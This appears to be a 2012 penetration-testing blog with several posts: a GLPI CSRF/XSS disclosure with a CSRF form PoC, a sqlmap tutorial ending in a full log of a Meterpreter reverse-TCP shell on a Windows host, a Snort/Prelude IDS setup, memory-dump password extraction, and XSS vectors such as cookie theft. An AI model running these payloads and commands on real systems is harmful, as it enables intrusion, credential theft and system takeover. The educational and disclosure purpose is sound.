Tuesday, October 16, 2012

Multiple CSRF and XSS vulnerabilities in GLPI - CVE-2012-4002/CVE-2012-4003

Few months back when i was researching on few resource management softwares i came across this amazing Resource manager (GLPI). After deploying it on my xampp server i started my initial phase of finding bugs.
The installed version of GLPI was 0.83.2 which i found was having multiple CSRF issues, some of the important functions which includes adding new users or raising a ticket lacked a proper CSRF mitigation.

I found that most of the user related tasks were vulnerable to CSRF attack. Here is a small POC on adding a new user. The page at http://<localhost>/glpi/front/preference.php allows us to add a user.

And after clicking on update the following POST request is sent to the server.

POST http://localhost/glpi/front/preference.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Proxy-Connection: keep-alive
Cookie: PHPSESSID=bstsomr0qf11n0446gqai8gp03
Content-Type: application/x-www-form-urlencoded
Content-Length: 72


Since there is no CSRF token in the post request an attacker can easily create a html page and send to a logged-in administrator and can create him as an authenticated user without the administrator knowing about it.

Html POST-CSRF eg:

<body onload=csrf.submit()>
<form id="csrf" name="csrf" action="http://localhost/glpi/front/preference.php" method="POST">
<input type=hidden name="name" id="name" value="glpi"/>
<input type=hidden name="id" id="id" value="2"/>
<input type=hidden name="realname" id="realname" value="Attacker"/>
<input type=hidden name="language" id="language" value="en_GB"/>
<input type=hidden name="use_mode" id="use_mode" value="0"/>
<input type=hidden name="update" id="update" value="Update"/>

 Here are few more locations which didn't had CSRF protection:


Apart from CSRF the application also had an XSS flaw at http://localhost/glpi/front/config.form.php where there was an option we could provide text on login. This parameter was not sanitized from the back end and it would easily accept any malicious characters. A simple "><script>alert(1)</script> would prompt 1 on the login screen.

The GLPI security team was very prompt and cooperative in handling all my reported issues. And a few weeks back they came up with a new secure version of GLPI 0.83.3 with XSS and CSRF protection.

Thanks GLPI team for acknowledging me on their new software release (click).

Monday, October 8, 2012

SQL Injection made simple

SQL injection has been ruling the OWASP top ten for many years. It is the most powerful and feared vulnerability among all. It is "THE BAAP" of all living vulnerabilities found till date, thus finding it and further exploiting it becomes a challenge sometimes. There are zillions of ways to identify but some times exploiting the right way becomes a challenge for a pentester.
Here is an easy method for beginners to expert level for sql exploitation using my favorite tool SqlMap.
SqlMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections

SQL injection attacks are the one in which SQL commands are injected into data-plane in order to affect the execution of predefined SQL statements.

SQL injection can lead into :

a) DBMS data manipulation
b) File system read and write access
c) Operating system control

SQLMAP- http://sqlmap.courceforge.net

INTRO>>            An open source command-line tool
                          Detects and exploits SQL injection flaws in Web applications
                          Developed in Python -july 2006


KEY FEATURES>>    Full support for MySQL,PostgreSQL,Oracle,MSSQL

TECHNIQUES>>           Boolean-based blind
                                    Union query
                                    stacked(batched) query
It does an extensive back-end DBMS fingerprint, Enumerates users, passwords, databases, tables, and columns.

Disclaimer: Please do not test it on any live website without prior permission of the website owner. The author assumes no liability and is not responsible for any damage caused. I recommend hosting Mutillidae/Webgoat/DVWA on a virtual machine to practice (I have used Mutillidae to explain beginner level exploitation (more info on Mutillidae could be found here)  for advance level i have used a custom made web application designed by our team *webmart(aspx/mssql) )

Prerequistes>> Backtrack5 (www.backtrack-linux.org)

Here we go!!

One of my favorite combination of commands to start with!

a) python sqlmap.py -u "http://abc/mutillidae/index.php?page=login.php" --level=3 --forms --batch --banner --flush-session

This would fetch you many things like the back-end Database, banner grab, and it will also do a form search on the page and see if any of the parameter are injectable. As shown below the database is MySQL 5.0, the parameter username is injectable and the platform is php 5.3.3 on Apache 2.2.16. Woooaaa! tats a lot of info on first run.

b) python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session --tables --dbs --batch

Here we are providing the POST data (username=test&password=test&login-php-submit-button=Login) and telling sqlmap to enumerate all the table entries and use the default behavior without asking user input. The current user running is  'root@localhost'. Here we have a lot of info to understand the back-end of the application.

Few more ways for to dump database.

python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session --tables --dump-all -D "database to enumerate" --batch

Enumerate table Columns:

python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session -D "database to enumerate" -T "table name" --columns --batch

Now if the column names are not common enough to enumerate then brute forcing is a better option. For a brute force check:

python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session -D "database to enumerate" -T "table name" --common-tables --common-columns --batch

These are some of the easy ways to do SQL injection. Now raising the bar a little high we will try exploiting a Windows system running MSSQL 2005. Here sqlmap first uploads a dynamic-linked library (DLL) used afterwards to create two user-defined functions (sys_exec() and sys_bineval()) in the database it also uses a stored procedure (xm_cmdshell) to further exploit. This is a built in stored procedure to execute commands used by MSSQL, it is enabled by default in MSSQL 2000, and for 2005 and 2008 it is disabled by default. This procedure can be also  re-enabled if the current session user is a member of sysadmin role. sp_configure stored procedure can be used to re-enable it [works fine on MSSQL 2005/08]

Here our final aim is to own the windows box hosting a webapplication (webmart) [aspx/mssql] but before that we will try doing some very awesome things with sqlmap.

Check If remote system has RDP enabled:

python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --batch

If the output is a 0 then it is enabled if its 1 then its not. If its 1 then we can enable RDP remotely using sqlmap!

Enabling RDP using Sqlmap:

python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0 --batch

Create Users on the system using Operating system commands:

 python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --os-cmd="net user newadmin test /add" --batch

 And finally to Pwn the remote system we will use (--os-pwn)

 python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --os-pwn --batch


sqlmap/1.0-dev-cc3f387 - automatic SQL injection and database takeover tool

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual  consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:44:12

[17:44:13] [WARNING] you did not provide the local path where Metasploit Framework is installed

[17:44:13] [WARNING] sqlmap is going to look for Metasploit Framework installation into the environment paths
[17:44:13] [INFO] Metasploit Framework has been found installed in the '/usr/local/bin' path
[17:44:13] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:44:13] [INFO] testing connection to the target url
[17:44:13] [INFO] sqlmap got a 302 redirect to 'http://abc:80/Errorpage.aspx'. Do you want to follow? [Y/n] Y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Place: POST
Parameter: username
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test' AND 2076=CONVERT(INT,(CHAR(58)+CHAR(114)+CHAR(113)+CHAR(121)+CHAR(5                                              8)+(SELECT (CASE WHEN (2076=2076) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHA                                              R(99)+CHAR(106)+CHAR(112)+CHAR(58))) AND 'sdFw'='sdFw&password=test&Login=Login

    Type: UNION query

    Title: Generic UNION query (NULL) - 13 columns
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=-7964' UNION ALL SELECT CHAR(58)+CHAR(114)+CHAR(113)+CHAR(121)+CHAR(58)+C                                              HAR(73)+CHAR(121)+CHAR(81)+CHAR(121)+CHAR(109)+CHAR(103)+CHAR(90)+CHAR(89)+CHAR(                                              110)+CHAR(79)+CHAR(58)+CHAR(99)+CHAR(106)+CHAR(112)+CHAR(58),NULL,NULL,NULL,NULL                                              ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &password=test&Login=Login

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test'; WAITFOR DELAY '0:0:5'--&password=test&Login=Login

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test' WAITFOR DELAY '0:0:5'--&password=test&Login=Login
[17:44:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:44:13] [INFO] how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1
[17:44:13] [INFO] testing if current user is DBA
[17:44:13] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[17:44:16] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[17:44:17] [INFO] testing if xp_cmdshell extended procedure is usable
[17:44:44] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:44:44] [INFO] the SQL query used returns 8 entries
[17:44:44] [INFO] retrieved: " "
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:45] [INFO] xp_cmdshell extended procedure is usable
[17:44:45] [INFO] creating Metasploit Framework multi-stage shellcode
[17:44:45] [INFO] which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
[17:44:45] [INFO] which is the local address? [xyz]
[17:44:45] [INFO] which local port number do you want to use? [37597] 37597
[17:44:45] [INFO] which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[17:44:45] [INFO] creation in progress .................................................................... done
[17:45:54] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'
[17:45:54] [INFO] using a custom visual basic script to write the binary file content to file 'C:\Windows\Temp\shellcodeexec.x32.exe', please wait..
[17:46:07] [INFO] do you want confirmation that the file 'C:\Windows\Temp\shellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n] Y
[17:46:07] [INFO] the file has been successfully written and its size is 6656 bytes, same size as the local file '/pentest/database/sqlmap/extra/shellcodeexec/windows/shellcodeexec.x32.exe'
[17:46:08] [INFO] running Metasploit Framework command line interface locally, please wait..
[*] The initial module cache will be built in the background, this can take 2-5 minutes...

     ,           ,

    /             \
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 939 exploits - 501 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15798 updated 36 days ago (2012.08.30)

Warning: This copy of the Metasploit Framework was last updated 36 days ago.

         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => process
LPORT => 37597
LHOST => xyz
[*] Started reverse handler on xyz:37597
[*] Starting the payload handler...
[17:46:49] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (764928 bytes) to xyz
[*] Meterpreter session 1 opened (xyz:37597 -> abc:4189) at 2012-10-05 17:46:57 +0530

meterpreter >

Thursday, October 4, 2012

Simple steps to set up your own Prelude IDS

Here are some simple steps to set up your own prelude IDS. Prelude is a Universal "Security
Information Event Management" (SIEM) system. Prelude collects, archives, normalizes, sorts,
aggregates, correlates and reports all security-related events independently of the product brand or
license giving rise to such events.

Easy steps to create a structure as shown in the figure.

Prerequisites:      Ubuntu server 12.0
                             Any one log monitoring system ( My fav is snort)


Apt-get update
Apt-get upgrade
Apt-get install ntpdate
Apt-get install dbconfig-common
Apt-get install rng-tools (Edit vi /etc/default/rng-tools ->HRNGDEVICE=/dev/urandom)
Apt-get install mysql-server


Apt-get install prelude-manager (vi /etc/default/prelude-manager ->run= yes)
(Edit /etc/prelude-manager/prelude-manager.conf for listen and relaying)
 change the server ip on /etc/prelude/default/client.conf


Apt-get install prelude-correlator
Registration of prelude-correlator:
prelude-admin register prelude-correlator "idmef:w admin:r" *managerhost* --uid 0  --gid 0 (uid and gid should be taken from /etc/passwd file)
prelude-admin registration-server prelude-manager


Apt-get install apache2
Apt-get install prewikka (add prewikka file containing following data on /etc/apache2/sites-available)
<VirtualHost *:80>
 Setenv PREWIKKA_CONFIG "/etc/prewikka/prewikka.conf"
<Location "/">
        AllowOverride None
        Options ExecCGI
        <IfModule mod_mime.c>
                AddHandler cgi-script .cgi
        Order allow,deny
        Allow from all
Alias /prewikka/ /usr/share/prewikka/htdocs/ ScriptAlias / /usr/share/prewikka/cgi-bin/prewikka.cgi

 On /usr/bin/prewikka-httpd change port 8000 to 80 and edit /etc/prewikka/prewikka.conf
A2dissite (To disable Prewikka)
A2ensite (To enable Prewikka)
/etc/init.d/apache2 reload
Change the permission of /etc/prewikka/prewikka.conf (chmod 766)


Apt-get install prelude-lml
Check if it’s working f9 by typing prelude-lml
Registration of prelude-lml:
prelude-admin register prelude-lml "idmef:w admin:r" *managerhost* --uid 0  --gid 0 (uid and gid should be taken from /etc/passwd file)
prelude-admin registration-server prelude-manager


Prelude-manager --relaying --parent-managers "x.x.x.x"
Edit following on /etc/prelude-manager/prelude-manager.conf
Relaying (uncomment this line)
Parent managers = x.x.x.x

Snort Installation

On snort-test machine:
apt-get install gcc
apt-get install g++
from packages- libgpg-error, libgcrypt, gnutls, pcre
apt-get install libprelude-dev
apt-get install libpreludedb-dev
apt-get install prelude-lml(register prelude-lml)
apt-get install snort
apt-get install snort-mysql
apt-get install snort-rules-default
apt-get install snort-common-libraries
Go to /etc/snort/snort.conf and edit following
Scroll down the list to the section with "# output alert_prelude: profile=snort", remove the "#é in
front of this line and that's it.

prelude-adduser register snort "idmef:w" <manager address> --uid snort --gid snort (on snort agent)
prelude-adduser registration-server prelude-manager(On prelude-manager)
snort -c /etc/snort/snort.conf

With this your Prelude set up should be up and running in no time. Cheers!

Friday, September 28, 2012

Plain Text memory passwords

This vulnerability has been in market for a very long time, but what makes me write about this actually comes from my new project which is a simple desktop application developed in VB. Wont be talking much about this application but would be describing the attack [PTMP] with few web applications on the internet.

Memory is a vital component for any application be it a web app or a simple desktop app. And most of the time our loggin passwords are kept unencrypted in the process memory. This blog would discuss the most easy ways to extract plain text passwords from any application that is not encrypting user passwords before storing in the process memory.

More Insight!!

Take a simple web application which would prompt a user to enter his/her userId and password in its login page ( take for eg gmail )

So coming back! After the authentication phase the password is stored in the process memory which can be easily extracted using tools like userdump or memory viewers like WinHex.

Here is a small POC on PTMP:

Shtep bi shtepp!!

1) I closed all instances of my awsum firefox and opened up my firefox's pentesting profile which i have created ( prbly i wud write about how to create one in one of my future blogs ).

2) Navigated to the website {https://www.google.com/xyz} and entered my login credentials

3) Now its time to dump the process for this i used userdump could be found at (http://www.microsoft.com/en-in/download/details.aspx?id=4060)
and listed all the running processes [ userdump.exe -p ]

This will list out all the running process on my system but what i am more intrested is a dump of my firefox.exe

The command to dump is "userdump firefox.exe" ( it is also allowed to give the particular PID of the process which is 5724 in this case )

4) Now after having the dump i extracted the readable strings from it using a tool from the Sysinternal suite called strings.exe ( strings.exe firefox.dmp > test.txt )

Thursday, September 27, 2012

Don't XSS me!

Cross site scripting is a type of attack wherein a malicious script is injected and executed in a users browser and the payload can be as dangerous as hijacking a users valid session. XSS does not really rely on web browser or operating system vulnerability but it specifically targets the web application flaws in handling inputs. In this post i will highlight some of the mitigation's  and some well known facts about XSS.

When this vulnerability was first discussed it was considered as a lame horse in front of big giants like SQL injection until in October 04 2005 when the sammy worm took myspace in just few hours. More details on this xss worm can be found here

Its not always required to insert a <script> tag for xss to work, sometimes <script> tag may be stripped off by application filters making your payload useless.
Few more ways:
a)<IMG SRC=j&#X41vascript:alert('hello')>

b)<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>


For more awesome vectors see this link Rsnake XSS 

This portion of the article would benefit most of the developers who would think of security as a

major aspect than a fancy UI. Some of the important things that a developer should keep in mind

before starting any web application assignment is that whatever input is collected from the client

side cannot be trusted. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS in a fairly straightforward manner.Have a look at XSS prevention cheat sheet here. The OWASP Esapi Library is highly recommended for preventing Cross site scripting attacks.

Some new attack vectors:

Recently i came across this blog entry which describes a new way of looking into XSS attacks.
Here the attack is more towards tweaking parameter names rather than the parameter values.

The conventional way an attacker would try!


But in ASP.Net application the ValidateRequest is enabled by default which would strip out the HTML

mark ups and pop up an error as shown below.

However, if we instead place our attack payload into a parameter name, then ValidateRequest allows

our input through and we hit the vulnerable code:

Few websites Xssed by me:




Post credits: Owasp, Rsnake, Portswigger
Title credit: Rowdie Rathore (2012)